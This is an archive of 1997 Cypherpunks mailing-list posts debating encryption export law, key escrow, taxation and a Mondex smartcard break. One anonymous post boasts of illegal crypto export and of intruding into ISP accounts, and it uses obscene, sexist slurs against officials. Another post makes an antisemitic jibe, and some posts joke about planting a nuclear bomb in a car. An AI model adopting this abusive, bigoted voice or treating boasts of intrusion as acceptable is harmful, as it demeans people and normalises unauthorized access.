> quite reasonable that big chunks of these buildings would survive a
> suitcase nuke placed a few hundred meters away. The Pentagon might lose a
> bite out of it, and thus look like some kind of mil-spec Apple logo.)

That's hardly comforting (not sure if it was meant to be). I work four or
so blocks from the White House and spend a good bit of time in the Capitol
and related buildings. My office is in the densepack lobbyist warren
territory on K Street.

I do live, however, about a mile and a half from anything especially
targetworthy.

-Declan










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Wed, 10 Sep 1997 14:20:03 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Comdemnation of 'The Sovereign Individual'...
In-Reply-To: <199709100511.AAA08834@einstein.ssz.com>
Message-ID: <199709100613.CAA09154@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199709100511.AAA08834@einstein.ssz.com>, on 09/10/97 
   at 12:11 AM, Jim Choate <ravage@ssz.com> said:

>We pay taxes to pay the bills of the indigent not to let the mother sit
>around on her ass but rather to protect the innocent kids who don't have
>a say in it. Those kids deserve a chance, whether you as an individual
>believe in them or not, THAT is the cost of humanity. We are just
>stewards of this reality, the real owners are the generations to be born.
>Their the ones we have to explain ourselves to. Please review
>Santyana.

No they don't. At least not at the expense of taking food off of my table
and away from my childern to support the childern of those who are not
willing to do so themselves.

You sense of "morality" does not give you the right to steal from me to
support it. In a free society you are more then welcome to spend as much
you want on the children of others. You *DO NOT* have the right to spend
my money on them. That is a decision that I and I alone have the right to
make. I can spend $1M a year on them or I can spend nothing. It is my
money that I earned and you have no right to tell me how I should spend it
no matter how good it makes you feel to do so.


I do agree that we will have to explain ourselves to our children and
grandchildren. At least I can tell them that I fought against the
inslavement of the people by the socialist what will you be able to say?

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 10 Sep 1997 08:07:12 +0800
To: cypherpunks@toad.com
Subject: Re: Credit Card might-as-well-equal SSN
In-Reply-To: <v03110733b03b5992b87f@[139.167.130.247]>
Message-ID: <199709092347.BAA02678@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:52 PM 9/9/97 -0400, you wrote:
>
>--- begin forwarded text
>
>
>Resent-Date: Tue, 9 Sep 1997 15:18:47 -0400
>X-Authentication-Warning: qnx.com: localhost [127.0.0.1] didn't use HELO
>protocol
>To: 0xdeadbeef@substance.abuse.blackdown.org
>Subject: Credit Card might-as-well-equal SSN
>Date: Tue, 09 Sep 1997 15:17:52 -0400
>From: glen mccready <glen@qnx.com>
>Resent-From: 0xdeadbeef@substance.abuse.blackdown.org
>X-Mailing-List: <0xdeadbeef@substance.abuse.blackdown.org>
archive/latest/2196
>X-Loop: 0xdeadbeef@substance.abuse.blackdown.org
>Precedence: list
>Resent-Sender: 0xdeadbeef-request@substance.abuse.blackdown.org
>
>
>Forwarded-by: Nev Dull <nev@bostic.com>
>Forwarded-by: Jon Loeliger <jdl@jdl.com>
>
[stuff cut]
>Questions: Is this for real?  How wide spread is this?  What does U-Haul do
>with your SSN? How difficult is it for someone (company) to get your SSN
>when you use your credit card?
>
>M. L. Sproul
>Amarillo, TX
>
>                [ Under current law, your SSN is part of what's called
>                  "credit header" data, and is (no longer) protected
>                  under the FCRA (Fair Credit Reporting Act).
>
>                  This means that for all intents and purposes, your
>                  SSN is public information.
>
>                                -- MODERATOR ]
>

It has been some time since I have seen an actual credit report, but as I
remeber, TRW and CBI both report the persons SS# when you do a credit
check. CBI has a search by SS# that will give you credit history and
address from a SS#.. I did quite a few credit checks in my younger, more
criminalistic days.. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>Vin_Suprynowicz@lvrj.com (Vin Suprynowicz)
Date: Wed, 10 Sep 1997 18:40:08 +0800
To: cypherpunks@toad.com
Subject: Good forger, bad forger / Vin Suprynowicz Column, Sept. 12Column, Sept. 12
Message-ID: <341675E1.6401@dev.null>
MIME-Version: 1.0
Content-Type: message/rfc822




    FROM MOUNTAIN MEDIA
    FOR IMMEDIATE RELEASE DATED SEPT. 12, 1997
    THE LIBERTARIAN, By Vin Suprynowicz
    Good cop, bad cop

    As Internet encryption advocate Robert Costner of Electronic Frontiers
Georgia (http://www.efga.org/) recently asked his e-mail correspondents,
"Would you store a key to your house at the local police station, just in
case any government agency ... wanted to search your home, without a court
ordered search warrant, whether you were home or not?

  "Would you feel better if the key to your house was kept at a local bank,
but available to the government within two hours, seven days a week, 24
hours per day, and the bank was forbidden by law from telling you that the
government had your house key?

  "What would you do if such a bill was in congress right now? ..."

  It is. The personal "effects" targeted this time are our computer files,
telephone calls, and e-mail communications, thanks to the latest revisions
to Senate Bill 909, "The Secure Public Networks Act of 1997."

  Initially the bill in question -- sponsored by Republican Sen. John
McCain of Arizona -- stipulated the congressional intent was to outlaw the
use of sophisticated devices to scramble Internet communications only for
the purpose of concealing crimes, that Congress in no way intended to
outlaw the transmission of coded messages between otherwise law-abiding
Americans.

  But a new version of the bill's Section 105, appearing Aug. 28 and
supported by FBI Director Louis J. Freeh, would in effect require Internet
Service Providers to  decode users' messages upon court demand -- a
function they would be able to perform because, under the new version of
the law, those using encryption to make their messages unintelligible to
third parties would now be required to store "escrow keys" capable of
decoding their messages with a "trusted third party" such as the local
bank.

  The sale, distribution, or importation of encryption programs without
such a government-accessible "keyhole" would, of course, be made illegal,
as of January 1999.

  Chief federal internal security officer Freeh contends his revision only
reflects "the legitimate needs of law enforcement," of course.

  Mr. Costner responds: "Indeed, one can offer many arguments as to why a
government would be better off without encryption being held by its
citizens. Just think what a different world we would live in if early
American crypto had not been possible.  Remember Paul Revere's secret key
implementation of 'One if by land, two if by sea?' "

  But in a pleasant surprise, Vice President Al Gore on Sept. 9 reaffirmed
the Clinton administration's policy against restricting the domestic sale
of high-tech computer privacy devices.

  "The administration's position has not changed on encryption," Gore told
the Software Publishers Association.

  Until Mr. Freeh's initiative a week ago, official U.S. policy had opposed
restrictions on the sale of data-scrambling software within the United
States, though the administration does regulate exports of encryption
devices, actually labeling such export products "munitions" based on their
presumed usefulness to foreign armies and terrorist groups.

  Vice President Gore didn't specifically mention Freeh's proposal on Sept.
9. But White House aides, speaking on condition of anonymity, told The
Associated Press the vice president's brief comment was intended to respond
to Director Freeh and "show that for now the administration is not changing
its position on the sale of encryption devices in the United States."

  Last December a new administration plan took effect, giving U.S.
companies more freedom to export high-tech encryption devices, but
insisting manufacturers first guarantee that G-men -- upon court order --
would be able to crack the codes and intercept the communications.

  Will U.S. firms find it a crippling restriction when they try to enter
international markets with "privacy" programs to which everyone knows the
FBI and CIA already hold the secret keys?

  Probably.

  But the larger risk here is the spread of such an attractive tool for
government snooping back into the domestic arena.

  If it were up to Judge Freeh, private letters dropped in the mailbox on
the corner would have to be sealed in transparent envelopes, "to make it
easier for us to check."

  Assurances that the administration is not going along with Director Freeh
"for now" are welcome, though I can't help but wonder why Director Freeh
was permitted to float such a balloon in the first place, except to see
whether it might fly unopposed.

  This is a dangerous dalliance with the mindset of the police state. The
federal government shouldn't be opening our mail -- electronic or
otherwise.

  If that means a few "dangerous conspirators" are allowed to move their
earnings around without telling the IRS, so be it. Because the only
alternative is the "safety" of a nation with a cop listening on every
phone.

  No thanks.

Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
Review-Journal. Readers may contact him via e-mail at vin@lvrj.com. The web
site for the Suprynowicz column is at http://www.nguworld.com/vindex/. The
column is syndicated in the United States and Canada via Mountain Media
Syndications, P.O. Box 4422, Las Vegas Nev. 89127.

***


Vin Suprynowicz,   vin@lvrj.com


"A well-regulated population being necessary to the security of a police
state, the right of the Government to keep and destroy arms shall
not be infringed."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 10 Sep 1997 17:32:19 +0800
To: "Brock N. Meeks" <brock@well.com>
Subject: Re: House National Security committee guts SAFE, worse than no bill
In-Reply-To: <Pine.3.89.9709092238.A11760-0100000@well.com>
Message-ID: <Pine.GSO.3.95.970910021607.9178B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 9 Sep 1997, Brock N. Meeks wrote:

> Gore didn't say shit.  Sorry but there is no polite way to say this.  
> Gore's remarks at the SPA speech were a great example of "state speak" 
> which the State Dept. has perfected, saying much and in "code" through 
> the use of phrasing and even tone.


Let's look at what Gore did say:

>    WASHINGTON, Sept 9 (Reuter) - With the FBI floating a proposal to
>regulate the domestic use of computer encoding technology, Vice President
>Al Gore asserted Tuesday the administration had not changed its policy 
that
> allows free use within the United States.
>   "The administration's decision has not changed on encryption, but this
>is an area where we need to find ways to work together to balance the
>legitimate needs of law enforcement with the needs of the marketplace,"
>Gore told a meeting of the Software Publishers Association in Washington.

I agree it's word games, but that's hardly a surprise. Especially since
Gore's denial seems a bit too narrow. What about the administration's
policy on free //distribution// of encryption? That's what Louis Freeh
wants to ban, as an initial move. 

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "blanc" <blancw@cnw.com>
Date: Wed, 10 Sep 1997 18:01:31 +0800
To: <cypherpunks@Algebra.COM>
Subject: Re: Stanford on Sept. 19th (Re: Nuclear Hedge Funds)
Message-ID: <01bcbdce$7859e080$0100007f@blancw.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



From: Tim May

:I can't promise anything, but I plan to be advancing the cause of crypto
:anarchy on the Stanford campus on Friday, September 19th. After that I may
:be off the list for a while, as I'm heading north.
.......................................................

To nuke Toto?

(ah-ha-ha-ha-ha)
   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "blanc" <blancw@cnw.com>
Date: Wed, 10 Sep 1997 18:00:52 +0800
To: "Tim May" <cypherpunks@Algebra.COM>
Subject: Re: The "Vision" Thang, and Tales out of School...
Message-ID: <01bcbdd0$3396cf60$0100007f@blancw.cnw.com>
MIME-Version: 1.0
Content-Type: text/plain



From: Tim May

:+AD4-Nonetheless, people who didn't share his +ACI-vision+ACI-, like IBM, and DEC, and
:+AD4-now Apple, and all the rest of his competition, got their clocks cleaned.
:
:Utter nonsense. I lack the time to write about the early history of MS,
:Seattle Computers, and Gary Kildall, but to make this claim above indicates
:Bob is sacrificing objectivity for some sort of cheap shot in favor of MS.
:
:I used to know Kildall, when he was hanging around Intel in the mid-70s,
:and up until two weeks before his death. The situation was a lot more
:nuanced than this +ACI-vision of Bill+ACI- argument suggests.
....................................................


Sometime when you do have some time for it, I for one would be interested what
you mean by this+ADs- what sort of nuances you are referring to.

Billg had some skills, some vision, some luck, some advantages of background
(his knowledgeable, socially-connected parents), some advantages of circumstance
(the developing computer industry), the advantages of intellect (like a
photographic memory), and some very good partners (beginning with Paul Allen)
who also contributed their business judgments and decisions to the success of
the company.   He receives most of the attention, but there are many parts to
this story.

   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 10 Sep 1997 15:47:51 +0800
To: jya@pipeline.com (John Young)
Subject: Re: Mondex Broken
In-Reply-To: <1.5.4.32.19970910015508.0086f57c@pop.pipeline.com>
Message-ID: <199709100701.DAA10459@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



John Young wrote:
| We've received from anonymous a report on breaking
| Mondex's pilot system by TNO along with a confidential
| 1996 memo describing the break:
| 
|    TNO's Ernst Bovenlander gave some details of these 
|    attacks (though he didn't mention Mondex as the target). 

	This seems pretty cool (the point in the memo about 'security
being suitable for purpose' with purpose left undefined but implied by
Mondex to be 'low value' is very interesting).  However, its not clear
to me who TNO is?

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Seth Finkelstein <sethf@mit.edu>
Date: Wed, 10 Sep 1997 16:01:50 +0800
To: jseiger@cdt.org
Subject: Re: House National Security committee guts SAFE, worse than no bill
Message-ID: <9709100755.AA05099@frumious-bandersnatch.MIT.EDU>
MIME-Version: 1.0
Content-Type: text/plain



>>At 2:17 PM -0700 9/9/97, Declan McCullagh wrote:
>>It's time for advocates of crypto-freedom to turn obstructionist and
>>oppose all legislation dealing with encryption.

> From: Jonah Seiger <jseiger@cdt.org>
> And expect to accomplish what?

	Freedom from embarrassment? I don't consider the Digital
Telephony debacle to have been lived down yet. I certainly don't have
a lot of faith that the people who brought us that are going to do any
better nowadays.
	I sense another dirty little deal is in the works, where we're
told they didn't "support" it, but "it could have been worse".

> To stick our heads in the sand now would just make it easier for the FBI to
> roll right over us.  We still need to fight the expected FBI key recovery

	OK. How about telling us how that's going to be done. And at
what point will you start calling for megaphones and marches
(metaphorically). If the answer is "never", well, I think that settles
just how much of a factor you'll be.
	
================
Seth Finkelstein
sethf@mit.edu





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 10 Sep 1997 17:22:44 +0800
To: cypherpunks@toad.com
Subject: Did someone say 'dare'?
Message-ID: <564c62fa2eafab966800d4ee5319cfd0@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote: 
> I was talking to someone after a law class this evening (we're covering
> electronic privacy topics, but unfortunately we're not at crypto yet). He
> suggested widespread civil disobedience.
 
> Perhaps it's time to dare the Feds to prosecute you. Any volunteers?

  I took one step back, while Toto and a Well user to be named later
just stood there, so it appears to me that they've volunteered.

  I am hereby daring Lying Fuck Freeh, Nazi Ratbastard Clinton, Child
Murderer Reno, and Lying Nazi Cunt FineSwine to prosecute Toto and
a Well user to be named later.
  Munitions-grade crypto has been sent to prohibited countries through
two accounts in the last twenty-four hours, one in Canada, one in the
U.S. 

(Hint: sk.sympatico.ca & well.com)

(Double Hint: the one sent through the Sympatico account was sent
 _*before*_ the account was disabled last night while inept system
 spooks set up new monitoring processes on it.)

(Double Extra Hint: the one sent through the Well account was not sent
 through the account of the person who warned Well security admins about
 a system intruder shortly *_after_* their wonderful little "we caught
 the system intruder and installed a newer, more secure system" intro
 appeared in their new, more secure login process.)

(Triple Extra Hint: this message is being cc:'ed to Defcon McCull'em,
 as well as sent unencrypted through a single remailer, so that 
 tracing its apparent source should not present a major problem.)

(Cheap Shot: The Sympatico account is not now working because the admins
 fixed the problem. It is now working because _I_ fixed the problem.)

(Double Cheap Shot: If Well security admins check the warning about 
 their brand-spanking new intruder, which they wrote such a _rude_
 reply to, saying that the writer was an idiot, they might notice that
 the header of the message contains an anagram for their system root
 password at the time.)

(Triple Cheap Shot: Check the Return To: header being used with this
 originating message.)

  Please note that I am providing these hints in order that there may
be a snowball's chance in hell that those who choose to do further 
investigation into my wild-eyed claims may be able to proceed without
further fucking up the originating systems so badly that I have to 
spend my own valuable time fixing them.

  In order to facilitate the federal prosecution of Toto, I have used
his writing style, grammer and syntax, complete with too fucking many
commas, his normal margins and carriage returns, as well as his too
predictable formatting of the quoted portion of the message being
replied to. (Also using clues from his previous 'Anonymous' posts.)
  In order to hinder the federal prosecution of the Well user to be
named later, I chose to illegally export the munitions-grade crypto
through the account of someone who has an employer with deep pockets,
and whose prosecution would undoubtedly result in a great amount of
unwanted publicity. (Unwanted, because the government would fail to
convict.)
  In order to piss on the perfectly polished jackboots itching to
break down a few doors, I have placed all details of the illegal
export of the munitions-grade encryption from Canada and the U.S.
in a file on both computers, encrypted with _my_ public key. In 
order for the file to be read, once deciphered, it must be diff'ed
with the file on Toto's personal computer containing the text of
the federalist papers.

  In order to demonstrate the seriousness of this post, if the
government schills (<-- note the spelling) who follow the list
are too fucking lazy to check into my claims, or too fucking
incomptent to confirm them, then I would be more than happy to,
in two weeks time, send two futher illegal communications via
the same routes, to the CypherPunks (<--sp?) list, upon request 
by a verifiable government law enforcement agent or agency in
a post to the list.
  Failure of the federal government to take successful action in
investigation and prosecution of the illegal activities herein
admitted, will be taken as a sign that the Lying Nazi Ratfuckers
who comprise the Government and LEA's are weak, spineless pieces
of shit who are capable only of using threats and violence to herd
meek sheeple into unconstitutional imprisonment of their freedoms,
rights, and liberty. i.e. Gutless fucks.

~~~~~
!Toto
~~~~~
"It's !forgery until *I* say it's forgery!"
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 10 Sep 1997 17:41:25 +0800
To: cypherpunks@toad.com
Subject: (no subject)
Message-ID: <b27e6e05807d7ddef0d2bc153f6350b6@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Wed, 10 Sep 1997 17:51:01 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Government shows its hand...good news!
In-Reply-To: <Pine.GSO.3.95.970909205609.4720B-100000@cp.pathfinder.com>
Message-ID: <199709100942.FAA02726@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh writes:

: I won't comment on Tim's second possibility, but the amendment added to
: SAFE today by one committee //prohibits// judicial review. So much for the
: Supremes likely to strike it down.

That prohibits---and can prohibit---only review under the
Administrative Procedure Act.  It cannot prohibit, and is not likely
to inhibit, review of Constitutional Claims.  (The ITAR and the EAR
are not ``reviewable'' either; which did not stop Judge Patel in
_Bernstein_ from deciding the constitutional question.)

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Wed, 10 Sep 1997 18:10:37 +0800
To: Tim May <tcmay@got.net>
Subject: Re: House National Security committee guts SAFE, worse than no bill
In-Reply-To: <v03102807b03bc5e166cd@[207.167.93.63]>
Message-ID: <199709101001.GAA02895@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May writes:

: The "software as free speech, which means it can be subjected to prior
: restraint, government censorship, or export control" argument is proceeding
: nicely, thanks to Bernstein, Gilmore, Junger, Cohn, and others, and is a
: much more solid basis for ensuring civil liberties.

Uhrr . . . .  I don't think that is quite the way we phrased the
argument.

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Wed, 10 Sep 1997 18:20:28 +0800
To: Adam Shostack <adam@homeport.org>
Subject: Re: Mondex Broken
In-Reply-To: <199709100701.DAA10459@homeport.org>
Message-ID: <Pine.GSO.3.95.970910060359.4259D-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain



The TNO is a Dutch research organization.  Based on this blind man's
view of the elephant, it's sort of like a national lab, but with a more
applied focus.

bd

On Wed, 10 Sep 1997, Adam Shostack wrote:

> John Young wrote:
> | We've received from anonymous a report on breaking
> | Mondex's pilot system by TNO along with a confidential
> | 1996 memo describing the break:
> | 
> |    TNO's Ernst Bovenlander gave some details of these 
> |    attacks (though he didn't mention Mondex as the target). 
> 
> 	This seems pretty cool (the point in the memo about 'security
> being suitable for purpose' with purpose left undefined but implied by
> Mondex to be 'low value' is very interesting).  However, its not clear
> to me who TNO is?
> 
> Adam
> 
> -- 
> "It is seldom that liberty of any kind is lost all at once."
> 					               -Hume
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Wed, 10 Sep 1997 18:20:03 +0800
To: "James S. Tyre" <j.s.tyre@worldnet.att.net>
Subject: Re: Government shows its hand...good news!
In-Reply-To: <341619BC.6A3F@worldnet.att.net>
Message-ID: <199709101013.GAA02982@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



"James S. Tyre" writes:

: Tim May is correct (as is Declan's clarification of his earlier note). 
: If the amendment does become law, however, do not expect two things:
: 
: . . . .
: 
: 2.  Do not expect that a case will involve a broad coalition of
: plaintiffs, as was the case with the CDA.  Expect that the courts will
: only entertain an action by a plaintiff with traditional standing:  one
: who goes through all of the bureaucratic hoops trying to get a license,
: and then is turned down.

There would, undoubtedly, have to be some showing of standing, but
that would not require going through the bureaucratic hoops of trying
to get a license _if_ the denial of a license is not reviewable under
the APA, and perhaps not even then.  It is the requirement that one
get a license, not the denial of the license, that is a prior
restraint in violation of the First Amendment and if a licensing
scheme on speech is to be upheld it must provide for prompt judicial
review.  (And normally providing judicial review is not enought to
get around the prior restraint challenge.)  

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 10 Sep 1997 19:38:05 +0800
To: cypherpunks@toad.com
Subject: Re: [NOISE] Re: Suitcase for sale
In-Reply-To: <199709100451.AAA19641@www.video-collage.com>
Message-ID: <eLaTce2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Sean Roach <roach_s@alph.swosu.edu> writes:

>
> At 06:32 PM 9/9/97 +0200, Anonymous wrote:
> >
> >Weight of suitcase: 80 lbs.
> >
> >Scheduled to check in; check the weight.
> >
> >For details contact: toto@sk.sympatico.ca
> >
> SWAPSHOP:
> Interested in one luggage carrier capable of holding 80 pound suitcase to
> underside of wing of unmarked private plane that can be jettosoned remotely.
> Looking for good offer as 1,000,000 already spent on suitcase.

You don't need some complicated delivery systems for a nuke...
Just leave it in the trunk of a car parked within a few blocks
from the target.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 10 Sep 1997 19:37:52 +0800
To: cypherpunks@toad.com
Subject: Re: Government shows its hand...good news!
In-Reply-To: <199709100526.WAA07506@gabber.c2.net>
Message-ID: <PoaTce3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



sameer <sameer@c2.net> writes:

>
> 	That appears to me to make specific export approvals not
> subject to review but the law can still be subject to review.
>
> > Let me clarify my earlier comments. The language sez Defense & Commerce
> > together can veto crypto exports, and:
> >
> > "Decisions made by the Secretary of Commerce with the concurrence of the
> > Secretary of Defense with respect to exports of encryption products under
> > this section shall not be subject to judicial review."
> >
>
>
> --
> Sameer Parekh					Voice:   510-986-8770
> President					FAX:     510-986-8777
> C2Net
> http://www.c2.net/				sameer@c2.net
>

Is Sameer upset because so many senators and congresspersons are Jewish?

Just have your shysters send them a barratrous leter. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 10 Sep 1997 20:31:16 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Removing Tyranny from Democracy (Part II), (fwd)
Message-ID: <199709101225.HAA10299@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: amp@pobox.com
> Date: Tue, 09 Sep 1997 22:49:25 -0500
> Subject: Re: Removing Tyranny from Democracy (Part II), (fwd)

> >  From: Jim Choate <ravage@ssz.com>
> >
> >Please be so kind as to detail your top three flaws...
> 
> 1. In a democracy, 51% of the people can vote to enslave the other 49%

Not in this democracy they don't. In every democracy currently extant there
is a bill of rights. The government may not respect it, but that is a flaw
of implimentation not theory.

> 2. In a democracy, you can't have property rights because 51% can 
> capriciously decide to confiscate anyone's property.

See above.

> 3. A pure democracy is true mob rule - a mob has no concience, or bounds to 
> it's tyranny. Look into the history of ancient Athens.

Since there are no true democracies extant your point is moot.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 10 Sep 1997 20:56:28 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Comdemnation of 'The Sovereign Individual'... (fwd)
Message-ID: <199709101256.HAA10378@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "William H. Geiger III" <whgiii@invweb.net>
> Date: Wed, 10 Sep 97 01:07:15 -0400
> Subject: Re: Comdemnation of 'The Sovereign Individual'...

> You sense of "morality" does not give you the right to steal from me to
> support it. In a free society you are more then welcome to spend as much

First it isn't morality in the sense of personal decisions of right and
wrong but rather a question of professional ethics akin to a doctor or
engineer. It is basic questions about the limits and responsibilities
involved in specific activities.

Your 'free society' is a euphamism for anarchy. You are promoting a system
where all activity is voluntary.  In such a system nothing higher than
unshaven naked peole with a rock and the rabbit they just killed exists.
There is no motivation in such an environment to build higher
infrastructures because there is no mechanism to provide environmental
stability.

In such a system individuals don't have time to do anything but protect what
they have and take as much of their neighbors environ as possible. They
don't have time for anything else, if they go off and spend 8 hours building
that nice pretty public road for that new auto plant their neighbors take
what they have and tomorrow they discover they don't have time for that
public road after all. You might say, well let your wife and kids watch it.
To that I say, isn't that the same as letting elected officials build a
infrastructure - there is an implied taxation taking place. Furthermore you
have about the same amount of security in both systems - I doubt you would
be brash enough to propose that all husbands can trust all wives and kids.

> you want on the children of others. You *DO NOT* have the right to spend
> my money on them. That is a decision that I and I alone have the right to
> make.

Not if you are a citizen and abiding by the contractual agreement between
you and the n-1 citizens of your nation.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cypherpunks Maintenance Account <cpunks@www.video-collage.com>
Date: Wed, 10 Sep 1997 21:11:02 +0800
To: cpunks@www.video-collage.com (Cypherpunks Maintenance Account)
Subject: USACM APPLAUDS CALIFORNIA LEGISLATURE (fwd)
Message-ID: <199709101301.JAA00512@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



----- Forwarded message from ACM US Public Policy Office -----

>From cpunks  Wed Sep 10 06:16:47 1997
Message-Id: <v03110704b03c203ab0f0@[204.91.138.81]>
Date: Wed, 10 Sep 1997 06:02:32 -0400
To: list <usacm_dc@acm.org>
From: ACM US Public Policy Office <usacm_dc@acm.org>
Subject: USACM APPLAUDS CALIFORNIA LEGISLATURE
Sender: owner-cypherpunks@toad.com
Precedence: bulk


PRESS RELEASE

Association for Computing
U.S. Public Policy Office

September 8, 1997

USACM APPLAUDS CALIFORNIA LEGISLATURE FOR UNANIMOUSLY
ENDORSING RELAXED EXPORT CONTROLS ON ENCRYPTION


As the Congress prepares to address the issue of computer
security and privacy, the California legislature has sent
a clear message that relaxing controls on cryptography is
a critical first step.

On September 5, the California legislature passed a
resolution that calls on the California members in
Congress to support legislation that would make it easier
for US companies to develop and market strong cryptography
products. The resolution was sponsored by Representative
Vasconcellos (D. San Jose) and passed without opposition.

Dr. Barbara Simons, chair of the policy committee for
the Association for Computing (USACM), said that the
California resolution makes clear that industry and
users are united in support of good cryptography.

"We believe that Congress should support the Security
and Freedom Act, sponsored by Representative Goodlatte.
The legislation will help protect security and privacy
on the internet. It will be a serious mistake for the
administration to oppose the development of this
technology," said Dr. Simons.

On August 26, USACM Chair Barbara Simons spoke in support
of the Vasconcellos resolution before a California Senate
committee. Also participating at the Committee hearing were
Dr. Whit Diffie from Sun, Kelly Blough from PGP, Jack Wilson of
ACL Datacom, Chuck Marson representing the California Internet
Industry Alliance (Netscape, Microsoft, AOL, CompuServe and
 Netcom), and a representative of the Software Publishers
Association.  Undersecretary of Commerce Reinsch wrote a
letter opposing the resolution.

The Association for Computing (ACM) is an international non-profit
educational and scientific society with 76,000 members worldwide,
